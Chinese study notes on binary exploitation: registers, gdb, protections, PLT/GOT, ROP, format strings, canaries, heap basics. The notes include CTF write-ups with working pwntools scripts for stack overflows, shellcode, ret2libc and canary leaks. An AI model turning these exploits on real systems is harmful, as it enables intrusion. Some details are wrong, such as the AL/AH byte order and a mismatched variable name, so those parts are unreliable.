PWN
寄存器简述
寄存器 | 描述(L高8位、H低8位) |
---|---|
AX(AL、AH) | 累加器,用作累加器进行算术运算和I/O操作(AL高8位、AH低8位) |
BX(BL、BH) | 基址寄存器,用作内存寻址时的基地址指针 |
CX(CL、CH) | 计数寄存器,循环中的计数器或作为某些指令的隐含参数 |
DX(DL、DH) | 数据寄存器,用于存放I/O端口地址 |
EAX、EBX、ECX、EDX | 上述32位的扩展版本,提供更大的数值范围 |
ESI、EDI | 源索引、目标索引,用于字符串和数组操作,分别指向源数据和目的数据的位置 |
ESP、EBP | 堆栈指针:指向当前堆栈顶部,基址指针:保存函数调用前的堆栈帧指针,方便访问局部变量和参数 |
CS、DS、SS、ES、FS、GS | 代码段、数据端、堆栈段、附加段:字符串操作的目标地址、段寄存器:额外的段寄存器 |
FLAGS | 标志寄存器:反映最近指令执行结果的状态标志和控制CPU行为的控制标志 |
IP | 指令指针寄存器:指示下一条要执行的指令的地址 |
- AX/AL/AH:常用于快速的数学运算,如加法、减法、乘法和除法。
- BX/BL/BH:用于内存寻址,特别是间接寻址模式。
- CX/CL/CH:用作计数器,特别是在循环结构中。
- DX/DL/DH:配合AX用于多精度算术运算,以及I/O端口地址。
- EAX, EBX, ECX, EDX:在32位模式下,它们提供了更大的数值范围,适用于更复杂的运算。
- ESI, EDI:用于高效地处理字符串或数组。
- ESP, EBP:管理函数调用和局部变量的堆栈操作。
- 段寄存器:由于使用了分页机制,其作用有所减弱。
- FLAGS/EFLAGS/RFLAGS:用于条件判断和控制流转移。
- IP/EIP/RIP:控制程序的执行流程,决定了下一条指令的位置。
汇编指令简述
指令 | 中文名 | 描述 |
---|---|---|
MOV | 传送指令 | 将数据从源地址 传送到目的地址 ,两存储单元[]、段存储器(CS、DS、SS、ES、IP)不能直接传送数据,立即数不能当作操作数。 |
PUSH/POP | 进栈/出栈 | 将寄存器中的数据入栈/寄存器接收栈数据 |
XCHG | 交换 | 寄存器 与寄存器 或寄存器 与内存变量 之间交换内容,操作数的数据类型要相同 |
IN/OUT | 输入/输出 | 通过专门的端口进行读写指令完成对外设的操作 |
XLAT | 换码 | 在寄存器中保存数组的首地址或将返回值送入到寄存器当中 |
LEA | 有效地址 | 计算一个有效地址(即相对于某个段基址的偏移量),并将其加载到目标寄存器中,而不是加载该地址处的内容 |
LDS | 远指针 | 加载远指针(即包括段地址和偏移地址的组合),其中段地址被加载到DS 段寄存器中,偏移地址则被加载到指定的目标寄存器中 |
LES | 远指针 | 加载远指针(即包括段地址和偏移地址的组合),其中段地址被加载到ES 段寄存器中,偏移地址则被加载到指定的目标寄存器中 |
LAHF | 加载标志 | 将FLAGS寄存器中的低8位复制到AH 寄存器中。它保存的是处理器状态的一些关键标志位,如符号标志(SF)、零标志(ZF)邓 |
SAHF | 恢复标志 | 将AH 寄存器的内容复制回FLAGS寄存器的低8位。这可以用来恢复之前保存的标志位状态。 |
PUSHFQ | 压入堆栈 | 将FLAGS寄存器的内容压入堆栈 |
POPFQ | 获取标志 | 从堆栈弹出一个字并将其写入FLAGS寄存器 |
ADD | 加法 | 将两个操作数相加,并将结果存储在第一个操作数的位置。 |
ADC | 进位加法 | 将两个操作数相加,并加上进位标志(CF)的值,然后将结果存储在第一个操作数的位置。 |
INC | 加1 | 将指定的操作数加1(不包括进位标志CF) |
DEC | 减1 | 将指定的操作数减1(不包括进位标志CF) |
SUB | 减法 | 从第一个操作数中减去第二个操作数 |
SBB | 标志减法 | 从第一个操作数中减去第二个操作数以及进位标志(CF) |
NEG | 补码 | 对操作数求补码(即取负) |
CMP | 对比 | 比较两个操作数(不存储结果,仅更新状态标志以供后续条件跳转使用) |
MUL | 乘法 | 无符号乘法 |
DIV | 除法 | 无符号除法 |
CBW | 数据转换 | 将AL 中的有符号字节扩展为AX 中的有符号字 |
SHL | 逻辑左移 | 逻辑左移 |
SAL | 算术左移 | 等同于SHL |
SHR | 逻辑右移 | 逻辑右移 |
SAR | 算术右移 | 将目标操作数向右移动指定次数,空出的位置复制最左边的位(保持符号),最右边的位移到CF中 |
ROL | 循环左移 | 将目标操作数向左循环移动指定次数,最左边的位移到最右边的位置,同时也移到CF中 |
ROR | 循环右移 | 将目标操作数向右循环移动指定次数,最右边的位移到最左边的位置,同时也移到CF中 |
RCL | 进循左移 | 将目标操作数连同CF一起向左循环移动指定次数,最左边的位移到CF中,而CF的旧值移到最右边的位置 |
RCR | 进循右移 | 将目标操作数连同CF一起向右循环移动指定次数,最右边的位移到CF中,而CF的旧值移到最左边的位置 |
立即数 :指直接写在指令中的数值常量。它不是存储在内存中的值,也不是寄存器里的值,而是作为指令的一部分被直接编码到机器代码中的值
gdb
运行
- run:其作用是运行程序,当遇到断点后,程序会在断点处停止运行,等待用户输入下一步的命令。
- continue :继续执行,到下一个断点处(或运行结束)
- next:单步跟踪程序,当遇到函数调用时,也不进入此函数体;此命令同 step 的主要区别是,step 遇到用户自定义的函数,将步进到函数中去运行,而 next 则直接调用函数,不会进入到函数体内。
- step:单步调试如果有函数调用,则进入函数;
- until:当你厌倦了在一个循环体内单步跟踪时,这个命令可以运行程序直到退出循环体。
- until+行号: 运行至某行,不仅仅用来跳出循环
- finish: 运行程序,直到当前函数完成返回,并打印函数返回时的堆栈地址和返回值及参数值等信息。
- call 函数:调用程序中可见的函数,并传递“参数”
- quit:简记为 q ,退出gdb
设置断点
- break n:在第n行处设置断点
- b fn1 if a>b:条件断点设置
- break func:在函数func()的入口处设置断点
- delete n:删除第n个断点
- disable n:暂停第n个断点,暂时不会起作用,但是不会删除。
- enable n:开启第n个断点
- clear n:清除第n行的断点
- info b:显示当前程序的断点设置情况
- delete breakpoints:清除所有断点
查看源代码
- list :其作用就是列出程序的源代码,默认每次显示10行。
- list n:将显示当前文件以n为中心的前后10行代码。
- list func:将显示func所在函数的源代码
- list :不带参数,将接着上一次 list 命令的,输出下边的内容。
打印表达式
- print string:打印任何有效表达式,包括数字、变量、函数调用。
- display:设置一个表达式,每次单步进行指令后,输出表达式的值
- watch:设置监视点,一旦监视的表达式被改变,gdb强行终止程序
- whatis:查询变量或函数
- info func:查询函数
- info locals:查看当前堆栈页的所有变量
查询运行信息
- where :当前运行的堆栈列表;
- backtrace: 显示当前调用堆栈
- up/down :改变堆栈显示的深度
- set args 参数:指定运行时的参数
- show args:查看设置好的参数
- info program: 来查看程序的是否在运行,进程号,被暂停的原因。
分割窗口
- layout:用于分割窗口
- layout src:显示源代码窗口
- layout asm:显示反汇编窗口
- layout regs:显示源代码/反汇编和CPU寄存器窗口
- layout split:显示源代码和反汇编窗口
- Ctrl + L:刷新窗口
CheckSec
CheckSec
是一个检查二进制文件和共享库安全特性的工具,实现依赖于读取并解析 ELF 文件的头部信息、程序头表、段表、动态段以及符号表等元数据。
- RELRO:通过检查
.dynamic
段中的条目来判断 RELRO 是否启用。DT_BIND_NOW
标志表示 Full RELRO,确保在加载过程中某些动态链接相关的数据结构(如 GOT 表)被设置为只读。这可以防止攻击者通过修改这些表来重定向函数调用 - Stack Canary:通过查找特定的编译器插入的符号(如
__stack_chk_fail
或__intel_security_cookie
)来判断是否存在栈保护,栈帧中插入一个特殊的值(称为“canary”),如果这个值在函数返回前被篡改,则说明发生了栈溢出,程序会终止执行以防止潜在的攻击。 - NX :通过检查 ELF 文件的程序头表中是否有
PF_X
(可执行权限)标记在数据段上来确定 NX 是否启用,将内存划分为可执行和不可执行区域。这样即使攻击者能够注入恶意代码,也无法直接执行这段代码,因为它位于非可执行区域。 - PIE:通过检查 ELF 文件头部的
e_type
字段是否为ET_DYN
来判断 PIE 是否启用。对于静态链接的可执行文件,此字段通常为ET_EXEC
,整个可执行文件都被编译成位置无关代码,允许程序在加载时随机化其地址空间。 - SHSTK和 IBT:通过检查
.note.gnu.property
段或.note.intel
段中的属性来确定这些 Intel CET 特性是否启用,维护了一个与普通栈并行的影子栈,专门用于存储返回地址。每次函数调用或返回时都会检查两个栈是否一致,如果不一致则认为发生了攻击行为。 - RELRO是一种保护机制,它确保在加载过程中某些动态链接相关的数据结构(如 GOT 表)被设置为只读。这可以防止攻击者通过修改这些表来重定向函数调用。
- Full RELRO 意味着不仅在启动时将 GOT 表设为只读,而且延迟绑定也被禁用,所有符号都在启动时解析完成,进一步增强了安全性。
PLT与GOT
ASLR防御机制:为了防止缓存区溢出和其他代码注入的攻击,出现了一种ASLR防御机制
,这种机制的核心就是每次在加载和执行程序时,程序中的堆栈、共享库等基地址不是固定的,会随机变化
,使得难以预测特定函数或变量的确切内存位置
,从而增加了利用内存破坏型漏洞的难度
,这种防御机制可以从不同的颗粒度中实现,这类实现与标题中的.plt
与.got
表有密切的联系。
- 进程级别的随机化:每个新启动的进程都有其唯一的地址空间布局。
- 库级别的随机化:动态链接库(.so文件等)的加载地址被随机化。
- 栈和堆的随机化:栈和堆的起始地址也被随机化,以增加不可预测
延迟绑定机制: 在ELF
文件中,为了优化启动时间
、节省内存资源
、提高行能等
,在程序启动时,并不是所有的函数都会被立即调用,而是当首次调用
某个函数时才会对该函数进行解析(即解析该函数的地址),函数的调用正是由PLT
和GOT
进行管理,通过PLT
与GOT
表实现了这一机制。
延迟绑定流程
- PLT表跳转:首次调用时,程序会跳转到
PLT
表的函数入口,入口中的指令会进一步跳转到GOT
表中相应的项。 - GOT表未解析状态:如果是首次调用,
GOT
表中的内容是PLT
表中的某个偏移值,程序会再次跳转到PLT
中预定义处理函数地址 - 动态解析:通过动态链接器(
_dl_runtime_resolve
),程序会解析出函数的实际地址,并存储在GOT
表中,后续函数的调用直接使用该地址。
下面简单看一下流程:
查看PLT
表,可以看到它存储了几个函数,地址从0x400460-0x4004b0
pwndbg> plt
Section .plt 0x400460-0x4004b0:
0x400470: puts@plt
0x400480: system@plt
0x400490: read@plt
0x4004a0: __libc_start_main@plt
查看system@plt
,间接跳转到了0x601020 <system@got.plt>
当中
pwndbg> x/4i 0x400480
0x400480 <system@plt>: jmp QWORD PTR [rip+0x200b9a] # 0x601020 <system@got.plt>
0x400486 <system@plt+6>: push 0x1
0x40048b <system@plt+11>: jmp 0x400460
0x400490 <read@plt>: jmp QWORD PTR [rip+0x200b92] # 0x601028 <read@got.plt>
在<system@got.plt>
中,system
的函数的初始值是PLT表中的 0x400486 <system@plt+6>
pwndbg> x/a 0x601020
0x601020 <system@got.plt>: 0x400486 <system@plt+6>
在PLT
表当中,<system@plt+6>
开始于0x400486
,push 0x1
对应system
函数在PLT
表中的唯一索引,通过jmp
跳转到PLT[0]
,传递给动态链接器进行符号解析,动态链接器解析后会将真实地址写入到GOT
表当中。
pwndbg> x/5i 0x400486
0x400486 <system@plt+6>: push 0x1
0x40048b <system@plt+11>: jmp 0x400460
为什么要了解PLT
与GOT
表?当环境中没有直接给出类似system
的命令执行函数,而且ret2syscall
方法又没有时候,就需要通过GOT
与PLT
获取基地址,通过基地址+偏移量
的形式调用libc
当中的特定函数。
ROP
ROP
将源程序中散落的汇编程序片段拼接在一起,通过复写返回地址让它们在逻辑上连续执行,使得程序能够执行指定的恶意汇编指令,ret2shellcode
即是一种特殊的ROP
,能够通过控制执行流使得shellcode
被写入到内存当中,这种写入shellcode
的操作在x32
与x64
当中有所不同。
mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80
为eax
寄存器加载0xb即11
,在Linux32
的系统调用表当中,这个值对应的是execve
,随后给ebx
等寄存器进行赋值,最终通过int 0x80
触发系统调用,完成execve("/bin/sh")
的命令执行。因此可以通过寻找散落的pop eax|ret
等指令,逐步按顺序复写对寄存器进行赋值,构造出一串连续且完整的指令序列,最终达到目的。
_start:
jmp short string ; 跳转到字符串部分
execute:
pop rdi ; 从栈中弹出 "/bin/sh" 的地址到 rdi
xor esi, esi ; 清空 rsi
xor edx, edx ; 清空 rdx
mov al, 59 ; 设置 execve系统调用号
syscall ; 触发系统调用
string:
call execute ; 调用 execute 标签,将 "/bin/sh" 地址压入栈
db '/bin/sh', 0 ; 定义字符串 "/bin/sh" 并以 null 结尾
在x64
位系统当中,进行ret2shellcode
主要控制的是rdi、esi、edx
等寄存器,与x32
位系统存在一定的差异。
整个payload为:
from pwn import *
context.log_level = "debug"
p=process("./ret2syscall")
paylod1=b'A'*112+p32(0x080bb196)+p32(0xb)+p32(0x0806eb90)+p32(0x0)+p32(0x0)+p32(0x080be408)+p32(0x08049421)
p.sendline(payload)
p.interactive()
这里需要说一下112
是怎么来的,从栈中可以看到ebp
的地址为0xffffd438
,esp
地址为0xffffd3cc
,差为108
,还要覆盖掉ebp_of_caller
的4字节,最终为112
。这里断点可以通过disassemble
查看偏移来断。
格式化字符串漏洞
在很多的编程语言中,为了方便将特定格式的字符串输出到屏幕当中,都能够通过某个函数进行格式化输出,比如Python
的format
,C
语言当中的printf
,而在printf
当中,因为printf
不会检查格式化字符串的占位符与所给参数的数目是否相等,导致了通过printf
可以获取或写入其它栈中的数据,这与使用的格式化字符息息相关。
常用于进行格式化字符串漏洞的参数:
%p
:以指针的形式输出地址
k$
:指定第k个参数输出
%n
:将已打印的字符数量写入到指定的整数变量当中
#include <stdio.h>
int main()
{
int a=10;
printf("%3$p\n");
return 0;
}
在这一段代码中,会发现printf
输出了某个0x
的地址,事实上就是以指针的形式输出了第3
个参数的地址,c
语言会默认将参数倒序压入栈中,某个参数的首地址是ebp+(2+n)*sizeo(word)
,其中2
为ebp_of_caller、return_address
,printf
识别到你输入的是%3$p
后,程序实际调用上只有格式化字符串本身一个参数,没有足够的参数,printf
就会从堆栈中读取额外的数据来满足这个要求。
在x86_64
架构中,要确认参数的具体位置,与上面的架构有些许不同,前6个实参保存在寄存器中:
第1个实参保存在RDI中;
第2个实参保存在RSI中;
第3个实参保存在RDX中;
第4个实参保存在RCX中;
第5个实参保存在R8中;
第6个实参保存在R9中。
剩余的参数保存在栈中
ret2ShellCode
ret2shellcode
指攻击者需要调用shellcode
机器码,通过复写return_address
从而使得恶意程序能写入内存,此处的内存必须是可写、可执行的段,因此写入shellcode
的地方也需要灵活选择,
- 在栈中写入
shellcode
:但由于部分内存段设置为不可置执行、地址随机偏移、Cannary
防护等防御手段,因此使得通过栈写入shellcode
变的十分困难。 bss
段写入shellcode
:bss
段用于保存没有初始值的全局变量或静态变量,可以向bss
段将shellcode
写入到全局变量中。data
段写入shellcode
:data
段用于保存初始化了的全局变量和静态变量heap
段写入shellcode
:heap
段用于保存通过动态内存分配
产生的变量,可以将shellcode
写入至动态分配的变量中。
Canary
Cannary
是一种关于栈溢出的保护措施,原理在内存中的某处复制一个随机数canary
,该随机数会在创建栈的时候跟着rbp
入栈,当函数退出栈的时候,会对比栈中的canary
是否不变,如果不一致,则会进入到_stack_chk_fail
函数当中,从而终止掉程序。
查看Canary
的反编译的情况:
可以看到从线程控制块当中fs:0x28
获取栈的保护值,随后放到了[rbp-0x8]
的位置当中,当程序准备退出的时候,通过sub
将[rbp-0x8]
与fs:0x28
做减法,如果为0,则继续执行,否则跳转到_stack_chk_fail
函数当中,这里的je
指令通过eflags
寄存器的ZF
标志位判断的
Eflags
寄存器的标志位如下:
- CF (Carry Flag):进位/借位标志。
- PF (Parity Flag):奇偶标志。
- AF (Adjust Flag):调整标志。
- ZF (Zero Flag):零标志,当最近的操作结果为零时设置。
- SF (Sign Flag):符号标志,当最近的操作结果为负数时设置。
- TF (Trap Flag):陷阱标志,用于单步调试。
- IF (Interrupt Flag):中断允许标志。
- DF (Direction Flag):方向标志。
- OF (Overflow Flag):溢出标志。
刷题笔记
[SWPUCTF 2021 新生赛]gift_pwn
用ida64位进行反编译,可以看到这个是栈溢出的题目,定义了16字节
变量,在read
读取变量类型的时候,分配的地址是0x64
即100
个字节,所以存在栈溢出的问题。
在gift函数中可以看到,直接调用call
执行了system
函数,将/bin/sh
通过参数传到了里面。
整个payload如下:
from pwn import *
p = remote('node4.anna.nssctf.cn',28325)
payload = b'a' * 0x10+8 + p64(0x4005b6)
p.send(payload)
p.interactive()
通过a
填充满原来的16位地址,额外8字节为了覆盖保存的返回地址,将gift
函数溢出执行,获取到shell
假如没有给到gift
函数,也可以自己寻找函数和变量,推入寄存器中返回。
payload为,但是这里打环境不通,还需要探究:
from pwn import *
io=remote("node7.anna.nssctf.cn",24854)
padding=0x10+8
system_addr=0x40035D
binsh_addr=0x4006A6
rdi_ret=0x0000000000400673
payload=b'a'*padding+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)
io.send(payload)
io.interactive()
[SWPUCTF 2022 新生赛]有手就行的栈溢出
通过gets
函数直接获取输入,因为gets
函数获取的时候是不限边界的,所以存在栈溢出,发现在fun
函数里面通过execve
执行了/bin/sh
留下了后门
from pwn import *
p=remote("node3.anna.nssctf.cn",28834)
payload=b'a'*(0x20+8)+p64(0x401257)
p.sendline(payload)
p.interactive()
[SWPUCTF 2022 新生赛]shellcode
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0x30303000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x30303000, 0x64uLL);
MEMORY[0x30303000]();
return 0;
}
通过调用
mmap
函数开辟了一个新的内存地址地址,通过read
函数读取100
字节到0x30303000
中,最终以函数的形式调用该地址,可以直接写入shellcode
0x1000uLL
:映射 4096 字节(一页)的内存。7
(PROT_READ | PROT_WRITE | PROT_EXEC
):映射区域具有读、写和执行权限。50
(MAP_ANONYMOUS | MAP_PRIVATE
):创建匿名映射,不与任何文件关联,并且对映射区域的修改不会影响其他进程。0LL
:偏移量为 0。
from pwn import *
context(log_level="debug",arch="amd64")
p=remote("node5.anna.nssctf.cn",25815)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
[LitCTF 2023]狠狠的溢出涅(ret2libc)~
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[91]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int8 v5; // [rsp+6Bh] [rbp-5h]
int v6; // [rsp+6Ch] [rbp-4h]
v6 = 0;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Leave your message:");
read(0, buf, 0x200uLL);
v5 = strlen(buf);
if ( v5 > 0x50u )
{
puts("hacker");
exit(0);
}
puts("Ok,Message Received");
return 0;
}
- read()函数存在栈溢出的漏洞
- 使用了strlen判断长度大小,当我们传入的值为
\x00
时,strlen
返回的结果永远为0- 在函数中找不到类似
system('/bin/sh')
的函数,因此需要从libc
中找到函数的实际地址,以基址+偏移量
的形式来查找- 要获取到基址,可以通过
puts
和PLT、GOT
表实现,从GOT
表中拿到puts
的实际地址,通过实际地址-偏移量
得到基地
进而拿到system('/bin/sh')
from pwn import *
context.log_level = "debug"
io = remote('node4.anna.nssctf.cn',28509)
elf = ELF('./LitCTF2023')
libc = ELF('./libc-2.31.so')
pop_rdi_ret = 0x4007d3 #pop rdi ; ret
ret_addr = 0x400556 #ret
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_add = elf.symbols['main']
payload1 = b"\x00"+b'A'*(0x60+7) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendline(payload1)
#puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base+next(libc.search(b"/bin/sh\x00"))
print(hex(system))
print(hex(binsh))
payload2 = b'\x00'+b'A'*(0x60+7) +p64(ret_addr)+ p64(pop_rdi_ret) +p64(binsh) + p64(system)
io.sendline(payload2)
io.interactive()
pop_rdi_ret
:将下一个 8 字节值弹出到RDI
寄存器中,然后执行ret
。puts_got
:这是puts
函数的 GOT 地址,需要被加载到RDI
中作为puts
的参数。puts_plt
:调用puts
函数,输出puts
的实际地址。main_add
:返回到main
函数,以便程序继续执行而不崩溃。为什么
payload2
要调用一次ret
,是为了保证栈溢出需要ret一下栈平衡
[SWPUCTF 2023 秋季新生赛]guess me
from pwn import *
context.log_level = "debug"
io = remote('node4.anna.nssctf.cn',28984)
io.recvuntil('Welcome! This is a easy game.')
io.recvuntil('If you guessed the number correctly,I will give you a gift.')
low,high=0,100
for i in range(100):
mid=(low+high)//2
print(str(mid).encode())
io.sendlineafter('please guess the num form 0 to 100:',str(mid).encode())
response=io.recvline().strip()
print(response)
if b'big!' in response:
high=mid
elif b'small' in response:
low=mid
else:
io.interactive()
print(mid)
print(response)
[LitCTF 2023]口算题卡
from pwn import *
context.log_level = "debug"
#p=process("./HNCTF2022-ezr0p64")
io = remote('node4.anna.nssctf.cn',28291)
io.recvuntil('''Welcome to the LitCTF2023 Verbal Problem Card!
You will be presented with 100 addition and subtraction problems.
Your goal is to answer all of them correctly to get the flag!
if you wrong, you will be kicked out of the game.''')
print(io.recvuntil("What is"))
question='What is '+io.recvline().decode()
for _ in range(100):
print(f"Question:{question}")
part1 = question.split()[2]
part2 = question.split()[3]
part3 = question.split()[4].strip('?')
result=eval(f"{part1} {part2} {part3}")
io.sendline(str(result).encode())
response=io.recvline().strip().decode()
print(response)
question=io.recvline().decode()
[BJDCTF 2020]babyrop2(Canary)
通过checksec
可以看到开启了Canary
和NX
保护
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}
__readfsqword
从线程控制块读取栈保护值
实现Canary
保护,在gift
哈桉树中,通过__isoc99_scanf
读取了8
字节的格式化字符串,在vuln
函数当中,初始化了24
字节的buf
,通过read
读取100
字节的变量,存在栈溢出,那么如何绕过canary
呢?这里因为存在字符串格式化漏洞
,可以通过此漏洞查看cannary
的值,从而实现绕过。
1、首先通过尝试输入%k$p
的形式确定了输入参数的偏移量是6
2、通过输入参数的偏移量确定canary
的偏移量,通过字符串溢出漏洞泄露canaary
的地址
from pwn import *
context.log_level = 'debug'
#p=process("./BJDCTF2020-babyrop2")
elf=ELF("./BJDCTF2020-babyrop2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=remote('node4.anna.nssctf.cn',28417)
p.recvuntil(b'help u')
canary_payload="%7$p"
p.sendline(canary_payload)
p.recvuntil("0x")
canary_addr=int(p.recv(16),16)
puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
vuln_addr=elf.symbols["vuln"]
pop_rdi_addr=0x0000000000400993
ret=0x00000000004005f9
payload1=b'a'*(0x20-8)+p64(canary_addr)+b'a'*0x8+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
p.recvuntil('story!\n')
p.sendline(payload1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
base_addr=puts_addr-libc.symbols["puts"]
system=base_addr+libc.symbols["system"]
bin_sh=base_addr+next(libc.search(b"/bin/sh\x00"))
payload=b'a'*(0x20-8)+p64(canary_addr)+b'a'*0x8+p64(ret)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system)
p.recvuntil('story!\n')
p.sendline(payload)
p.interactive()
这里0x20-8
是为了腾出canary
的字节位置,后面需要a*0x8
是因为canary
的位置在rbp-0x8
,需要覆盖掉达到return address
的位置,其实就是覆盖ebp_of_caller
攻防世界Mary_Marton
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960();
else
puts("Wrong!");
}
}
这里通过输入1、2、3从而触发不同的函数
#当输入为2的时候
unsigned __int64 sub_4008EB()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x7FuLL);
printf(buf);
return __readfsqword(0x28u) ^ v2;
}
#当输入为1的时候
unsigned __int64 sub_400960()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x100uLL);
printf("-> %s\n", buf);
return __readfsqword(0x28u) ^ v2;
}
int sub_4008DA()
{
return system("/bin/cat ./flag");
}
当我们输入2的时候,可以看到通过read
读取了一个变量,直接通过printf
输出了,因此这里存在字符串溢出漏洞,通过aa%k$p
的形式可以试探出k=6
,因此第一个输出的参数偏移是6
,v2
即cannary
与bug
的距离为0x90-0x08
即136
,相隔17
个字节的距离,因此cannary
整个偏移为23
。在触发1
的函数中,可以看到read
存在栈溢出,可以通过栈溢出覆盖sub_4008DA
返回地址获取到shell
from pwn import *
io=process('./mary_morton')
io.recvuntil(b'3. Exit the battle')
io.sendline(b'2')
io.sendline(b'%23$p')
io.recvuntil('0x')
cannary=int(io.recv(16),16)
io.sendline(b'1')
bash_addr=0x4008DA
payload=b'a'*(0x90-8)+p64(cannary)+b'a'*8+p64(bash_addr)
io.sendline(payload)
io.interactive()
堆内存管理介绍
1、无论是那种的内存分配器,都提供了动态内存管理功能,用于替代或增强C库中malloc
和free
函数:
平台 | 堆内存分配机制 | 备注 |
---|---|---|
General purpose allocator | dlmalloc | 不支持mmap内存映射 |
glibc | ptmalloc2 | 在Linux中glibc默认内存分配器,支持多线程堆管理 |
free BSD and Firefox | jemalloc | 使用更复杂的桶(bins)和区域(arenas)机制来优化小对象分配 |
tcmalloc | 使用页表结构来追踪空闲块,支持高效的内存回收 | |
Solaris | libumem | 良好的错误恢复能力,能够在某些情况下自动修复问题 |
2、在Linux平台上的malloc
函数本质上都是通过系统调用brk
或mmap
实现:
brk函数
:用于改变进程数据段(即堆)的大小,每个程序启动时,一般是给数据段分配一个固定的大小。随着程序运行,需要增加或减少堆的大小,brk
设置了BSS段
和堆
之间的边界位置,通过调整边界的地址空间调整内存。mmap函数
:内存映射机制,在虚拟地址空间,将文件或设备映射到进程的地址空间中,从而减少文件I/O系统调用read
和write
等函数
无论是brk
还是mmap
,两种分配的都是虚拟内存,而不是物理内存,在Linux2.6.7
之前的虚拟内存分布如下:
arena
arena
用于每个线程进行堆内存分配,一般每个线程都会对应一个arena
用于分配堆内存,arena
分为thread arena
和main arena
(自增的heap),每个堆被分为多个chunk。
arena
数量如下:
系统类型 | arena个数 |
---|---|
32bits | 2 x CPU核心数+1 |
64bits | 8 x CPU核心数+1 |
arena
的管理规则:
- 主线程调用
malloc
时会分配一个main arena
,当子线程首次调用时,glibc
实现的malloc
会为每个子线程创建一个新的thread arena
- 当子线程需要
malloc
的个数超过了glibc
能维护的arena
个数时候,那么如何为该新的子线程分配arena
。 - 当
glibc
维护的arena
个数不足,会遍历所有可用的arena
,尝试加锁该( arena 当前对应的线程并未使用堆内存则表示可加锁),当加锁成功则将arena
返回给线程,一起共享使用 - 如果没能找到可加锁的
arena
,那么子线程的malloc
会操作阻塞,直至存在可用的arena
为止 - 如果子线程再次调用
malloc
(第二次使用arena
),那么就会采取就近原则形式(第一次分配的arena
),如果不可用,则阻塞直至可用
堆的数据结构
heap_info
thread arena
包含多个heap
,每个heap
的信息都会使用heap_info
表示,此处的heap
是子线程通过调用mmap
从操作系统申请的一块内存空间,main arena
包含一个自增的heap
。
typedef struct _heap_info
{
mstate ar_ptr; //表示整个堆状态的数据结构
struct _heap_info *prev; //前一个堆实例
size_t size; //堆区域大小(字节为单位)
size_t mprotect_size; //表示内存页面的访问权限,PROT_READ|PROT_WRITE
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; //具有特定对齐属性的填充字段
} heap_info;
malloc_state
malloc_state
表示arena
的信息,每个线程只含有一个arena header
,arena header
包含bin、top、chunk、last remainder chunk
登信息
struct malloc_state
{
mutex_t mutex; //序列化访问
int flags;
mfastbinptr fastbinsY[NFASTBINS];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2 - 2];
unsigned int binmap[BINMAPSIZE]; //bin的位图
struct malloc_state *next;
struct malloc_state *next_free; //arena链表
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem; //分配的内存
};
malloc_chunk
一个heap
会被分为多个chunk
,每个chunk
由malloc_chunk
构成。
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ /*之前块的大小*/
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ /*大小以字节为单位,包括开销*/
struct malloc_chunk* fd; /* double links -- used only if free. 这两个指针只在free chunk中存在*/
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
/*仅用于大块:指向下一个更大的尺寸*/
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
- 主线程的 main arena 的 arena header 并不在堆区中,而是一个全局变量,因此它属于 libc.so 的 data segment 区域。
- 主线程的堆在进程的虚拟内存堆区,因此不存在多个heap也没有
heap_header
,当需要更多空间,通过增长brk
